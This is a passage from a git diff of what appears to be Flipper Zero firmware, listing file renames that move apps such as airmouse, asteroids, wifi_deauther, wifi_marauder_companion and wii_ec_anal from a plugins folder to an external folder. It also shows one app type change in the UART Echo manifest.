external}/weather_station/weather_station_app_i.c (100%) rename applications/{plugins => external}/weather_station/weather_station_app_i.h (100%) rename applications/{plugins => external}/weather_station/weather_station_history.c (100%) rename applications/{plugins => external}/weather_station/weather_station_history.h (100%) rename applications/{plugins => external}/wifi_deauther/LICENSE (100%) rename applications/{plugins => external}/wifi_deauther/README.md (100%) rename applications/{plugins => external}/wifi_deauther/application.fam (100%) rename applications/{plugins => external}/wifi_deauther/scenes/wifi_deauther_scene.c (100%) rename applications/{plugins => external}/wifi_deauther/scenes/wifi_deauther_scene.h (100%) rename applications/{plugins => external}/wifi_deauther/scenes/wifi_deauther_scene_config.h (100%) rename applications/{plugins => external}/wifi_deauther/scenes/wifi_deauther_scene_console_output.c (100%) rename applications/{plugins => external}/wifi_deauther/scenes/wifi_deauther_scene_start.c (100%) rename applications/{plugins => external}/wifi_deauther/scenes/wifi_deauther_scene_text_input.c (100%) rename applications/{plugins => external}/wifi_deauther/wifi_10px.png (100%) rename applications/{plugins => external}/wifi_deauther/wifi_deauther_app.c (100%) rename applications/{plugins => external}/wifi_deauther/wifi_deauther_app.h (100%) rename applications/{plugins => external}/wifi_deauther/wifi_deauther_app_i.h (100%) rename applications/{plugins => external}/wifi_deauther/wifi_deauther_custom_event.h (100%) rename applications/{plugins => external}/wifi_deauther/wifi_deauther_uart.c (100%) rename applications/{plugins => external}/wifi_deauther/wifi_deauther_uart.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/application.fam (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_10px.png (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_app.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_app.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_app_i.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_custom_event.h (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_uart.c (100%) rename applications/{plugins => external}/wifi_marauder_companion/wifi_marauder_uart.h (100%) rename applications/{plugins => external}/wifi_scanner/FlipperZeroWiFiModuleDefines.h (100%) rename applications/{plugins => external}/wifi_scanner/application.fam (100%) rename applications/{plugins => external}/wifi_scanner/wifi_10px.png (100%) rename applications/{plugins => external}/wifi_scanner/wifi_scanner.c (100%) rename applications/{plugins => external}/wii_ec_anal/LICENSE (100%) rename applications/{plugins => external}/wii_ec_anal/WiiEC.png (100%) rename applications/{plugins => external}/wii_ec_anal/_image_tool/LICENSE (100%) rename applications/{plugins => external}/wii_ec_anal/_image_tool/README (100%) rename applications/{plugins => external}/wii_ec_anal/_image_tool/_convert.c (100%) rename applications/{plugins => external}/wii_ec_anal/_image_tool/_convert.sh (100%) rename applications/{plugins => external}/wii_ec_anal/_image_tool/_convert_images.c (100%) rename applications/{plugins => external}/wii_ec_anal/_image_tool/_convert_images.h (100%) rename applications/{plugins => external}/wii_ec_anal/_image_tool/_convert_test.c (100%) rename applications/{plugins => external}/wii_ec_anal/_images/CLASSIC.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/CLASSIC_N.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/DEBUG.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/DUMP.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf (100%) rename applications/{plugins => external}/wii_ec_anal/_images/GIMP/RIP.xcf (100%) rename applications/{plugins => external}/wii_ec_anal/_images/GIMP/Wiring.xcf (100%) rename applications/{plugins => external}/wii_ec_anal/_images/GIMP/classic.xcf (100%) rename applications/{plugins => external}/wii_ec_anal/_images/GIMP/csLogo.xcf (100%) rename applications/{plugins => external}/wii_ec_anal/_images/GIMP/fonts.xcf (100%) rename applications/{plugins => external}/wii_ec_anal/_images/GIMP/frame.xcf (100%) rename applications/{plugins => external}/wii_ec_anal/_images/GIMP/port.xcf (100%) rename applications/{plugins => external}/wii_ec_anal/_images/GIMP/social.xcf (100%) rename applications/{plugins => external}/wii_ec_anal/_images/NUNCHUCK.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/NUNCHUCK_acc.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/NUNCHUCK_anal.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/NUNCHUCK_cal.gif (100%) rename applications/{plugins => external}/wii_ec_anal/_images/NUNCHUCK_cal.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/Nunchucky.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/RIP.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/SPLASH.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/WAIT.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/WiiChuck.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/Wiring.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/plug.png (100%) rename applications/{plugins => external}/wii_ec_anal/_images/social.png (100%) rename applications/{plugins => external}/wii_ec_anal/application.fam (100%) rename applications/{plugins => external}/wii_ec_anal/bc_logging.h (100%) rename applications/{plugins => external}/wii_ec_anal/err.h (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/images.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/images.h (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_0.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_2.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_3.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_4.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_5.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_6.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_7.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_8.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_9.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_3x5_v.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_0.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_2.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_3.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_4.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_5.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_6.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_7.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_8.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_9.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_A.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_B.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_C.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_D.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_E.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_5x7_F.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_0.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_2.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_3.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_4.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_5.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_6.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_7.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_8.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_9.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_A.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_B.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_C.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_D.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_E.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_F.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_G.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_X.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_Y.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_Z.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_d_.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_n_.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_6x8_v_.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_RIP.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_Cable.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_Joy.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_Main.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_btn_A1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_btn_B1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_btn_X1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_btn_Y1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_pad_LR1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_pad_UD1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_trg_L1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_trg_L2.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_trg_L3.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_trg_L4.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_trg_R1.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_trg_R2.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_trg_R3.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_cc_trg_R4.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_csLogo_FULL.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_csLogo_Small.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_ecp_SCL.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_ecp_SDA.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_ecp_port.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_key_Back.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_key_D.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_key_L.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_key_OK.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_key_OKi.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_key_R.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_key_U.c (100%) rename applications/{plugins => external}/wii_ec_anal/gfx/img_key_Ui.c (100%) rename applications/{plugins => external}/wii_ec_anal/i2c_workaround.h (100%) rename applications/{plugins => external}/wii_ec_anal/info.sh (100%) rename applications/{plugins => external}/wii_ec_anal/wii_anal.c (100%) rename applications/{plugins => external}/wii_ec_anal/wii_anal.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_anal_ec.c (100%) rename applications/{plugins => external}/wii_ec_anal/wii_anal_ec.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_anal_keys.c (100%) rename applications/{plugins => external}/wii_ec_anal/wii_anal_keys.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_anal_lcd.c (100%) rename applications/{plugins => external}/wii_ec_anal/wii_anal_lcd.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_anal_ver.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_ec.c (100%) rename applications/{plugins => external}/wii_ec_anal/wii_ec.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_ec_classic.c (100%) rename applications/{plugins => external}/wii_ec_anal/wii_ec_classic.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_ec_macros.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_ec_nunchuck.c (100%) rename applications/{plugins => external}/wii_ec_anal/wii_ec_nunchuck.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_ec_udraw.c (100%) rename applications/{plugins => external}/wii_ec_anal/wii_ec_udraw.h (100%) rename applications/{plugins => external}/wii_ec_anal/wii_i2c.c (100%) rename applications/{plugins => external}/wii_ec_anal/wii_i2c.h (100%) rename applications/{plugins => external}/yatzee/LICENSE (100%) rename applications/{plugins => external}/yatzee/README.md (100%) rename applications/{plugins => external}/yatzee/application.fam (100%) rename applications/{plugins => external}/yatzee/images/die_1.png (100%) rename applications/{plugins => external}/yatzee/images/die_2.png (100%) rename applications/{plugins => external}/yatzee/images/die_3.png (100%) rename applications/{plugins => external}/yatzee/images/die_4.png (100%) rename applications/{plugins => external}/yatzee/images/die_5.png (100%) rename applications/{plugins => external}/yatzee/images/die_6.png (100%) rename applications/{plugins => external}/yatzee/images/yatzee_icon_10px.png (100%) rename applications/{plugins => external}/yatzee/yatzee.c (100%) rename applications/{plugins => external}/zombiez/application.fam (100%) rename applications/{plugins => external}/zombiez/zombie_10px.png (100%) rename applications/{plugins => external}/zombiez/zombiez.c (100%) rename applications/{plugins => external}/zombiez/zombiez.h (100%) diff --git a/applications/debug/uart_echo/application.fam b/applications/debug/uart_echo/application.fam index b9766254c..c4079c6c1 100644 --- a/applications/debug/uart_echo/application.fam +++ b/applications/debug/uart_echo/application.fam @@ -1,7 +1,7 @@ App( appid="UART_Echo", name="[GPIO] UART Echo", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="uart_echo_app", cdefines=["APP_UART_ECHO"], requires=["gui"], diff --git a/applications/plugins/airmouse/LICENSE b/applications/external/airmouse/LICENSE similarity index 100% rename from applications/plugins/airmouse/LICENSE rename to applications/external/airmouse/LICENSE diff --git a/applications/plugins/airmouse/README.md b/applications/external/airmouse/README.md similarity index 100% rename from applications/plugins/airmouse/README.md rename to applications/external/airmouse/README.md diff --git a/applications/plugins/airmouse/air_mouse.c b/applications/external/airmouse/air_mouse.c similarity index 100% rename from applications/plugins/airmouse/air_mouse.c rename to applications/external/airmouse/air_mouse.c diff --git a/applications/plugins/airmouse/air_mouse.h b/applications/external/airmouse/air_mouse.h similarity index 100% rename from applications/plugins/airmouse/air_mouse.h rename to applications/external/airmouse/air_mouse.h diff --git a/applications/plugins/airmouse/application.fam b/applications/external/airmouse/application.fam similarity index 100% rename from applications/plugins/airmouse/application.fam rename to applications/external/airmouse/application.fam diff --git a/applications/plugins/airmouse/mouse_10px.png b/applications/external/airmouse/mouse_10px.png similarity index 100% rename from applications/plugins/airmouse/mouse_10px.png rename to applications/external/airmouse/mouse_10px.png diff --git a/applications/plugins/airmouse/tracking/calibration_data.cc b/applications/external/airmouse/tracking/calibration_data.cc similarity index 100% rename from applications/plugins/airmouse/tracking/calibration_data.cc rename to applications/external/airmouse/tracking/calibration_data.cc diff --git a/applications/plugins/airmouse/tracking/calibration_data.h b/applications/external/airmouse/tracking/calibration_data.h similarity index 100% rename from applications/plugins/airmouse/tracking/calibration_data.h rename to applications/external/airmouse/tracking/calibration_data.h diff --git a/applications/plugins/airmouse/tracking/imu/bmi160.c b/applications/external/airmouse/tracking/imu/bmi160.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/bmi160.c rename to applications/external/airmouse/tracking/imu/bmi160.c diff --git a/applications/plugins/airmouse/tracking/imu/bmi160.h b/applications/external/airmouse/tracking/imu/bmi160.h similarity index 100% rename from applications/plugins/airmouse/tracking/imu/bmi160.h rename to applications/external/airmouse/tracking/imu/bmi160.h diff --git a/applications/plugins/airmouse/tracking/imu/bmi160_defs.h b/applications/external/airmouse/tracking/imu/bmi160_defs.h similarity index 100% rename from applications/plugins/airmouse/tracking/imu/bmi160_defs.h rename to applications/external/airmouse/tracking/imu/bmi160_defs.h diff --git a/applications/plugins/airmouse/tracking/imu/imu.c b/applications/external/airmouse/tracking/imu/imu.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/imu.c rename to applications/external/airmouse/tracking/imu/imu.c diff --git a/applications/plugins/airmouse/tracking/imu/imu.h b/applications/external/airmouse/tracking/imu/imu.h similarity index 100% rename from applications/plugins/airmouse/tracking/imu/imu.h rename to applications/external/airmouse/tracking/imu/imu.h diff --git a/applications/plugins/airmouse/tracking/imu/imu_bmi160.c b/applications/external/airmouse/tracking/imu/imu_bmi160.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/imu_bmi160.c rename to applications/external/airmouse/tracking/imu/imu_bmi160.c diff --git a/applications/plugins/airmouse/tracking/imu/imu_lsm6ds3trc.c b/applications/external/airmouse/tracking/imu/imu_lsm6ds3trc.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/imu_lsm6ds3trc.c rename to applications/external/airmouse/tracking/imu/imu_lsm6ds3trc.c diff --git a/applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.c b/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.c rename to applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.c diff --git a/applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.h b/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.h similarity index 100% rename from applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.h rename to applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.h diff --git a/applications/plugins/airmouse/tracking/main_loop.cc b/applications/external/airmouse/tracking/main_loop.cc similarity index 100% rename from applications/plugins/airmouse/tracking/main_loop.cc rename to applications/external/airmouse/tracking/main_loop.cc diff --git a/applications/plugins/airmouse/tracking/main_loop.h b/applications/external/airmouse/tracking/main_loop.h similarity index 100% rename from applications/plugins/airmouse/tracking/main_loop.h rename to applications/external/airmouse/tracking/main_loop.h diff --git a/applications/plugins/airmouse/tracking/orientation_tracker.cc b/applications/external/airmouse/tracking/orientation_tracker.cc similarity index 100% rename from applications/plugins/airmouse/tracking/orientation_tracker.cc rename to applications/external/airmouse/tracking/orientation_tracker.cc diff --git a/applications/plugins/airmouse/tracking/orientation_tracker.h b/applications/external/airmouse/tracking/orientation_tracker.h similarity index 100% rename from applications/plugins/airmouse/tracking/orientation_tracker.h rename to applications/external/airmouse/tracking/orientation_tracker.h diff --git a/applications/plugins/airmouse/tracking/sensors/accelerometer_data.h b/applications/external/airmouse/tracking/sensors/accelerometer_data.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/accelerometer_data.h rename to applications/external/airmouse/tracking/sensors/accelerometer_data.h diff --git a/applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.cc b/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.cc rename to applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.cc diff --git a/applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.h b/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.h rename to applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.h diff --git a/applications/plugins/airmouse/tracking/sensors/gyroscope_data.h b/applications/external/airmouse/tracking/sensors/gyroscope_data.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/gyroscope_data.h rename to applications/external/airmouse/tracking/sensors/gyroscope_data.h diff --git a/applications/plugins/airmouse/tracking/sensors/lowpass_filter.cc b/applications/external/airmouse/tracking/sensors/lowpass_filter.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/lowpass_filter.cc rename to applications/external/airmouse/tracking/sensors/lowpass_filter.cc diff --git a/applications/plugins/airmouse/tracking/sensors/lowpass_filter.h b/applications/external/airmouse/tracking/sensors/lowpass_filter.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/lowpass_filter.h rename to applications/external/airmouse/tracking/sensors/lowpass_filter.h diff --git a/applications/plugins/airmouse/tracking/sensors/mean_filter.cc b/applications/external/airmouse/tracking/sensors/mean_filter.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/mean_filter.cc rename to applications/external/airmouse/tracking/sensors/mean_filter.cc diff --git a/applications/plugins/airmouse/tracking/sensors/mean_filter.h b/applications/external/airmouse/tracking/sensors/mean_filter.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/mean_filter.h rename to applications/external/airmouse/tracking/sensors/mean_filter.h diff --git a/applications/plugins/airmouse/tracking/sensors/median_filter.cc b/applications/external/airmouse/tracking/sensors/median_filter.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/median_filter.cc rename to applications/external/airmouse/tracking/sensors/median_filter.cc diff --git a/applications/plugins/airmouse/tracking/sensors/median_filter.h b/applications/external/airmouse/tracking/sensors/median_filter.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/median_filter.h rename to applications/external/airmouse/tracking/sensors/median_filter.h diff --git a/applications/plugins/airmouse/tracking/sensors/pose_prediction.cc b/applications/external/airmouse/tracking/sensors/pose_prediction.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/pose_prediction.cc rename to applications/external/airmouse/tracking/sensors/pose_prediction.cc diff --git a/applications/plugins/airmouse/tracking/sensors/pose_prediction.h b/applications/external/airmouse/tracking/sensors/pose_prediction.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/pose_prediction.h rename to applications/external/airmouse/tracking/sensors/pose_prediction.h diff --git a/applications/plugins/airmouse/tracking/sensors/pose_state.h b/applications/external/airmouse/tracking/sensors/pose_state.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/pose_state.h rename to applications/external/airmouse/tracking/sensors/pose_state.h diff --git a/applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.cc b/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.cc rename to applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.cc diff --git a/applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.h b/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.h rename to applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.h diff --git a/applications/plugins/airmouse/tracking/util/logging.h b/applications/external/airmouse/tracking/util/logging.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/logging.h rename to applications/external/airmouse/tracking/util/logging.h diff --git a/applications/plugins/airmouse/tracking/util/matrix_3x3.cc b/applications/external/airmouse/tracking/util/matrix_3x3.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrix_3x3.cc rename to applications/external/airmouse/tracking/util/matrix_3x3.cc diff --git a/applications/plugins/airmouse/tracking/util/matrix_3x3.h b/applications/external/airmouse/tracking/util/matrix_3x3.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrix_3x3.h rename to applications/external/airmouse/tracking/util/matrix_3x3.h diff --git a/applications/plugins/airmouse/tracking/util/matrix_4x4.cc b/applications/external/airmouse/tracking/util/matrix_4x4.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrix_4x4.cc rename to applications/external/airmouse/tracking/util/matrix_4x4.cc diff --git a/applications/plugins/airmouse/tracking/util/matrix_4x4.h b/applications/external/airmouse/tracking/util/matrix_4x4.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrix_4x4.h rename to applications/external/airmouse/tracking/util/matrix_4x4.h diff --git a/applications/plugins/airmouse/tracking/util/matrixutils.cc b/applications/external/airmouse/tracking/util/matrixutils.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrixutils.cc rename to applications/external/airmouse/tracking/util/matrixutils.cc diff --git a/applications/plugins/airmouse/tracking/util/matrixutils.h b/applications/external/airmouse/tracking/util/matrixutils.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrixutils.h rename to applications/external/airmouse/tracking/util/matrixutils.h diff --git a/applications/plugins/airmouse/tracking/util/rotation.cc b/applications/external/airmouse/tracking/util/rotation.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/rotation.cc rename to applications/external/airmouse/tracking/util/rotation.cc diff --git a/applications/plugins/airmouse/tracking/util/rotation.h b/applications/external/airmouse/tracking/util/rotation.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/rotation.h rename to applications/external/airmouse/tracking/util/rotation.h diff --git a/applications/plugins/airmouse/tracking/util/vector.h b/applications/external/airmouse/tracking/util/vector.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/vector.h rename to applications/external/airmouse/tracking/util/vector.h diff --git a/applications/plugins/airmouse/tracking/util/vectorutils.cc b/applications/external/airmouse/tracking/util/vectorutils.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/vectorutils.cc rename to applications/external/airmouse/tracking/util/vectorutils.cc diff --git a/applications/plugins/airmouse/tracking/util/vectorutils.h b/applications/external/airmouse/tracking/util/vectorutils.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/vectorutils.h rename to applications/external/airmouse/tracking/util/vectorutils.h diff --git a/applications/plugins/airmouse/views/bt_mouse.c b/applications/external/airmouse/views/bt_mouse.c similarity index 100% rename from applications/plugins/airmouse/views/bt_mouse.c rename to applications/external/airmouse/views/bt_mouse.c diff --git a/applications/plugins/airmouse/views/bt_mouse.h b/applications/external/airmouse/views/bt_mouse.h similarity index 100% rename from applications/plugins/airmouse/views/bt_mouse.h rename to applications/external/airmouse/views/bt_mouse.h diff --git a/applications/plugins/airmouse/views/calibration.c b/applications/external/airmouse/views/calibration.c similarity index 100% rename from applications/plugins/airmouse/views/calibration.c rename to applications/external/airmouse/views/calibration.c diff --git a/applications/plugins/airmouse/views/calibration.h b/applications/external/airmouse/views/calibration.h similarity index 100% rename from applications/plugins/airmouse/views/calibration.h rename to applications/external/airmouse/views/calibration.h diff --git a/applications/plugins/airmouse/views/usb_mouse.c b/applications/external/airmouse/views/usb_mouse.c similarity index 100% rename from applications/plugins/airmouse/views/usb_mouse.c rename to applications/external/airmouse/views/usb_mouse.c diff --git a/applications/plugins/airmouse/views/usb_mouse.h b/applications/external/airmouse/views/usb_mouse.h similarity index 100% rename from applications/plugins/airmouse/views/usb_mouse.h rename to applications/external/airmouse/views/usb_mouse.h diff --git a/applications/plugins/application.fam b/applications/external/application.fam similarity index 100% rename from applications/plugins/application.fam rename to applications/external/application.fam diff --git a/applications/plugins/arkanoid/application.fam b/applications/external/arkanoid/application.fam similarity index 100% rename from applications/plugins/arkanoid/application.fam rename to applications/external/arkanoid/application.fam diff --git a/applications/plugins/arkanoid/arkanoid_10px.png b/applications/external/arkanoid/arkanoid_10px.png similarity index 100% rename from applications/plugins/arkanoid/arkanoid_10px.png rename to applications/external/arkanoid/arkanoid_10px.png diff --git a/applications/plugins/arkanoid/arkanoid_game.c b/applications/external/arkanoid/arkanoid_game.c similarity index 100% rename from applications/plugins/arkanoid/arkanoid_game.c rename to applications/external/arkanoid/arkanoid_game.c diff --git a/applications/plugins/asteroids/LICENSE b/applications/external/asteroids/LICENSE similarity index 100% rename from applications/plugins/asteroids/LICENSE rename to applications/external/asteroids/LICENSE diff --git a/applications/plugins/asteroids/app.c b/applications/external/asteroids/app.c similarity index 100% rename from applications/plugins/asteroids/app.c rename to applications/external/asteroids/app.c diff --git a/applications/plugins/asteroids/appicon.png b/applications/external/asteroids/appicon.png similarity index 100% rename from applications/plugins/asteroids/appicon.png rename to applications/external/asteroids/appicon.png diff --git a/applications/plugins/asteroids/application.fam b/applications/external/asteroids/application.fam similarity index 100% rename from applications/plugins/asteroids/application.fam rename to applications/external/asteroids/application.fam diff --git a/applications/plugins/asteroids/assets/ammo_10x10.png b/applications/external/asteroids/assets/ammo_10x10.png similarity index 100% rename from applications/plugins/asteroids/assets/ammo_10x10.png rename to applications/external/asteroids/assets/ammo_10x10.png diff --git a/applications/plugins/asteroids/assets/ammo_11x11.png b/applications/external/asteroids/assets/ammo_11x11.png similarity index 100% rename from applications/plugins/asteroids/assets/ammo_11x11.png rename to applications/external/asteroids/assets/ammo_11x11.png diff --git a/applications/plugins/asteroids/assets/firepower_12x12.png b/applications/external/asteroids/assets/firepower_12x12.png similarity index 100% rename from applications/plugins/asteroids/assets/firepower_12x12.png rename to 